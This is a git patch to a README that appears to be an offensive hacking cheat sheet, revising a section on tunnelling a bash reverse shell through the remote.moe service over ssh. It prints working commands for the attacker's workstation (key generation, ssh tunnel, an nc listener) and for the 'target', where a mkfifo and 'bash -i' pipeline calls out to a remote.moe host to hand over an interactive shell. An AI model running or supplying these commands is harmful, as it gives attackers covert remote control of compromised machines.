From 4db912b35407f23eadb642e14b79f4bf992a6db0 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Thu, 15 Jun 2023 17:43:39 +0100 Subject: [PATCH] Update README.md --- README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index f825aa6..53b451f 100644 --- a/README.md +++ b/README.md @@ -951,23 +951,23 @@ Note: Use */tmp/.fio* if */dev/shm* is not available. Note: This trick logs your commands to a file. The file will be *unlinked* from the fs after 60 seconds but remains useable as a 'make shift pipe' as long as the reverse tunnel is started within 60 seconds. -**5.i.d. Reverse shell with remote.moe** +**5.i.d. Reverse shell with remote.moe and ssh** It is possible to tunnel raw TCP (e.g bash reverse shell) through [remote.moe](https://remote.moe): On your workstation: ```sh -# First Terminal: -ssh-keygen -q -t rsa -N "" -f .r +# First Terminal - Create a remote.moe tunnel to your workstation +ssh-keygen -q -t rsa -N "" -f .r # New key creates a new remote.moe-address ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no nokey@remote.moe; rm -f .r # Note down the 'remote.moe' address which will look something like # uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe -# Second Terminal: +# Second Terminal - start listening for the reverse shell nc -vnlp 8080 ``` -On the target: +On the target (needs ssh and bash): ``` # First method: rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)